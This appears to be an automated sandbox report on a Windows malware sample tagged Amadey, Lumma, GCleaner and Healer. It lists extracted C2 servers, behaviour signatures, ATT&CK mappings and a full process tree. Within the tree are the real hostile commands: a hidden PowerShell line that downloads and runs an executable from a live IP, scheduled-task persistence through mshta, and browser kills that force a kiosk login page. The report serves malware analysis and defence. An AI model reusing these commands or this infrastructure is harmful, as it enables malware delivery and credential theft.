Overview

overview

10

Static

static

5

2025-0~1.exe

windows10-2004-x64

10

2025-0~1.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/05/2025, 04:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2025-0~1.exe
  • Size 938KB
  • Sample250504-eppqqswzhw
  • SHA256 dff486df8523787d170d75081cf5feeda5468cbde44b3a74b34f6cfc2bd1afef
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeygcleanerhealerlumma8d33ebdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://80.64.18.219/testmine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://80.64.18.219/testmine/random.exe

Extracted

Family

  • amadey

Version

  • 5.34

Botnet

  • 8d33eb

C2

  • http://185.156.72.96

Attributes
  • install_dir

    d610cf342e

  • install_file

    ramez.exe

  • strings_key

    4a2b1d794e79a4532b6e2b679408d2bb

  • url_paths

    /te4h2nus/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://shootef.world/api

  • https://orjinalecza.net/lxaz

  • https://eczakozmetik.net/qop

  • https://orijinalecza.org/jub

  • https://ztortoisgfe.top/paxk

  • https://eczamedikal.org/vax

  • https://orijinalecza.net/kazd

  • https://medicalbitkisel.net/juj

  • https://snakejh.top/adsk

  • https://sformydab.run/gaus

  • https://tortoisgfe.top/paxk

  • https://vecturar.top/zsia

  • https://brandihx.run/lowp

  • https://viriatoe.live/laopx

  • https://exitiumt.digital/xane

  • https://opusculy.top/keaj

  • https://civitasu.run/werrp

  • https://scriptao.digital/vpep

  • https://praetori.live/vepr

  • https://rdisciplipna.top/eqwu

Extracted

Family

  • gcleaner

C2

  • 45.91.200.135

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 16 IoCs
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 50 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 17 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-0~1.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-0~1.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn tECgimaIjF4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\qYhgFdspC.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn tECgimaIjF4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\qYhgFdspC.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3088
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\qYhgFdspC.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'TLPQV8O9JSO0JIFBDR6SU0YONZD6C0DK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://80.64.18.219/testmine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1572
        • C:\Users\Admin\AppData\Local\TempTLPQV8O9JSO0JIFBDR6SU0YONZD6C0DK.EXE
          "C:\Users\Admin\AppData\Local\TempTLPQV8O9JSO0JIFBDR6SU0YONZD6C0DK.EXE"
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2448
          • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
            "C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe"
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5800
            • C:\Users\Admin\AppData\Local\Temp\10020520101\dDthTIC.exe
              "C:\Users\Admin\AppData\Local\Temp\10020520101\dDthTIC.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4044
            • C:\Users\Admin\AppData\Local\Temp\10020530101\lYvr05n.exe
              "C:\Users\Admin\AppData\Local\Temp\10020530101\lYvr05n.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:6052
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2252
            • C:\Users\Admin\AppData\Local\Temp\10020540101\bPtJj46.exe
              "C:\Users\Admin\AppData\Local\Temp\10020540101\bPtJj46.exe"
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:1980
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c 68140be001524.vbs
                7⤵
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:5352
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\68140be001524.vbs"
                  8⤵
                    PID:5880
              • C:\Users\Admin\AppData\Local\Temp\10020550101\amnew.exe
                "C:\Users\Admin\AppData\Local\Temp\10020550101\amnew.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3168
                • C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                  "C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe"
                  7⤵
                  • Downloads MZ/PE file
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3172
                  • C:\Users\Admin\AppData\Local\Temp\10000510101\59861f2b9a.exe
                    "C:\Users\Admin\AppData\Local\Temp\10000510101\59861f2b9a.exe"
                    8⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2580
                    • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                      "C:\Users\Admin\AppData\Local\Temp\10000510101\59861f2b9a.exe"
                      9⤵
                      • Downloads MZ/PE file
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:5944
              • C:\Users\Admin\AppData\Local\Temp\10020560101\08IyOOF.exe
                "C:\Users\Admin\AppData\Local\Temp\10020560101\08IyOOF.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4136
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                    PID:4364
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1364
                • C:\Users\Admin\AppData\Local\Temp\10020570101\fV8FBMo.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020570101\fV8FBMo.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2824
                • C:\Users\Admin\AppData\Local\Temp\10020580101\3b0e4dbff6.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020580101\3b0e4dbff6.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1124
                • C:\Users\Admin\AppData\Local\Temp\10020590101\46eb965ef4.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020590101\46eb965ef4.exe"
                  6⤵
                  • Modifies Windows Defender DisableAntiSpyware settings
                  • Modifies Windows Defender Real-time Protection settings
                  • Modifies Windows Defender TamperProtection settings
                  • Modifies Windows Defender notification settings
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Windows security modification
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1684
                • C:\Users\Admin\AppData\Local\Temp\10020600101\34c198173f.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020600101\34c198173f.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:2756
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM firefox.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4308
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM chrome.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4512
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM msedge.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3404
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM opera.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3600
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM brave.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4300
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                    7⤵
                      PID:1224
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                        8⤵
                        • Checks processor information in registry
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SetWindowsHookEx
                        PID:5784
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1980 -prefsLen 27097 -prefMapHandle 1984 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {a98847e5-547d-4d8d-8b17-fea7f7d415c4} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                          9⤵
                            PID:2456
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2444 -prefsLen 27133 -prefMapHandle 2448 -prefMapSize 270279 -ipcHandle 2456 -initialChannelId {f808b957-2b7b-4fa5-bdc5-42aa54e5f9a3} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                            9⤵
                              PID:2220
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3824 -prefsLen 25164 -prefMapHandle 3828 -prefMapSize 270279 -jsInitHandle 3832 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3840 -initialChannelId {d2ec0f97-30fa-4497-9d3a-b9ed61646216} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                              9⤵
                              • Checks processor information in registry
                              PID:5688
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3992 -prefsLen 27274 -prefMapHandle 3996 -prefMapSize 270279 -ipcHandle 4076 -initialChannelId {a1514d98-ec0b-43ea-bcc3-914909cef590} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                              9⤵
                                PID:1420
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4464 -prefsLen 34773 -prefMapHandle 4468 -prefMapSize 270279 -jsInitHandle 4472 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3276 -initialChannelId {f86ae3f8-0928-4055-b238-ecb4da23c8fd} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                9⤵
                                • Checks processor information in registry
                                PID:4944
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2948 -prefsLen 35010 -prefMapHandle 5052 -prefMapSize 270279 -ipcHandle 5064 -initialChannelId {5418c8f7-8c23-4bd4-8427-aad9675723c8} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                9⤵
                                • Checks processor information in registry
                                PID:3268
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2860 -prefsLen 32952 -prefMapHandle 3296 -prefMapSize 270279 -jsInitHandle 3300 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1696 -initialChannelId {54fe3773-9b95-4ec8-9f6d-3d3d14f7aafb} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                9⤵
                                • Checks processor information in registry
                                PID:2316
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5928 -prefsLen 32952 -prefMapHandle 5932 -prefMapSize 270279 -jsInitHandle 5936 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5944 -initialChannelId {91714b0d-ab58-4d86-b50e-1d66e195c861} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                9⤵
                                • Checks processor information in registry
                                PID:4200
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6120 -prefsLen 32952 -prefMapHandle 6124 -prefMapSize 270279 -jsInitHandle 6128 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6136 -initialChannelId {0da79c23-8474-444f-a491-89b42e19b992} -parentPid 5784 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5784" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                9⤵
                                • Checks processor information in registry
                                PID:1532
                        • C:\Users\Admin\AppData\Local\Temp\10020610101\e04cfa9aff.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020610101\e04cfa9aff.exe"
                          6⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:472
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /create /tn Rj4KCmaCuqZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\ArSbsbYWu.hta" /sc minute /mo 25 /ru "Admin" /f
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:4064
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn Rj4KCmaCuqZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\ArSbsbYWu.hta" /sc minute /mo 25 /ru "Admin" /f
                              8⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:1924
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta C:\Users\Admin\AppData\Local\Temp\ArSbsbYWu.hta
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:4516
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0HGYBQ9I8TDL1ND5XPVWGINDR6VRRCQH.EXE';(New-Object System.Net.WebClient).DownloadFile('http://80.64.18.219/testmine/random.exe',$d);Start-Process $d;
                              8⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Downloads MZ/PE file
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1816
                              • C:\Users\Admin\AppData\Local\Temp0HGYBQ9I8TDL1ND5XPVWGINDR6VRRCQH.EXE
                                "C:\Users\Admin\AppData\Local\Temp0HGYBQ9I8TDL1ND5XPVWGINDR6VRRCQH.EXE"
                                9⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:1452
                        • C:\Users\Admin\AppData\Local\Temp\10020620101\cfa4842633.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020620101\cfa4842633.exe"
                          6⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:6028
                          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                            "C:\Users\Admin\AppData\Local\Temp\10020620101\cfa4842633.exe"
                            7⤵
                            • Downloads MZ/PE file
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3340
                        • C:\Users\Admin\AppData\Local\Temp\10020630101\57c0b82688.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020630101\57c0b82688.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:5112
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                              PID:2108
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                              7⤵
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2868
                          • C:\Users\Admin\AppData\Local\Temp\10020640101\49d24cf67d.exe
                            "C:\Users\Admin\AppData\Local\Temp\10020640101\49d24cf67d.exe"
                            6⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3360
                            • C:\Users\Admin\AppData\Local\Temp\is-42A2S.tmp\49d24cf67d.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-42A2S.tmp\49d24cf67d.tmp" /SL5="$D0060,19201980,844800,C:\Users\Admin\AppData\Local\Temp\10020640101\49d24cf67d.exe"
                              7⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of FindShellTrayWindow
                              PID:6076
                              • C:\Users\Admin\AppData\Roaming\MyApp\data\putty.exe
                                "C:\Users\Admin\AppData\Roaming\MyApp\data\putty.exe"
                                8⤵
                                • Executes dropped EXE
                                • Suspicious behavior: GetForegroundWindowSpam
                                PID:3616
                              • C:\Users\Admin\AppData\Roaming\MyApp\core.exe
                                "C:\Users\Admin\AppData\Roaming\MyApp\core.exe"
                                8⤵
                                • Executes dropped EXE
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5236
                              • C:\Users\Admin\AppData\Roaming\MyApp\info.exe
                                "C:\Users\Admin\AppData\Roaming\MyApp\info.exe"
                                8⤵
                                • Executes dropped EXE
                                PID:5428
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:6088
                  • C:\Windows\system32\rundll32.exe
                    rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                    2⤵
                      PID:5576
                  • C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                    C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1604
                  • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                    C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1692
                  • C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                    C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                    1⤵
                    • Executes dropped EXE
                    PID:4520
                  • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                    C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                    1⤵
                    • Executes dropped EXE
                    PID:3876

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Impair Defenses

                        5
                        T1562

                        Disable or Modify Tools

                        5
                        T1562.001

                        Modify Registry

                        6
                        T1112

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Query Registry

                        6
                        T1012

                        System Information Discovery

                        3
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        2A42127F349D54E7AA939366FF86F74E_7F7B9AAAFF465D18D58C254B044E2800
                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2A42127F349D54E7AA939366FF86F74E_7F7B9AAAFF465D18D58C254B044E2800
                        • Size 279B
                        • SHA256 459edd924ed4f9b04be488db21485ccbf2688edaf906cc17ce496f0d2d1bf8f5
                        • MD5 SHA1 SHA512
                        Submit Download

                        8B2B9A00839EED1DFDCCC3BFC2F5DF12
                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                        • Size 1KB
                        • SHA256 fb6a7c3edcd7b97fabc18855102a39fc4d6d3f82c0fdd39b1667807b71b9c49b
                        • MD5 SHA1 SHA512
                        Submit Download

                        B46811C17859FFB409CF0E904A4AA8F8
                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                        • Size 530B
                        • SHA256 6fb1b8e593cb0388f67ead35313a230f524657317ea86271b3a97362e5ec6ad9
                        • MD5 SHA1 SHA512
                        Submit Download

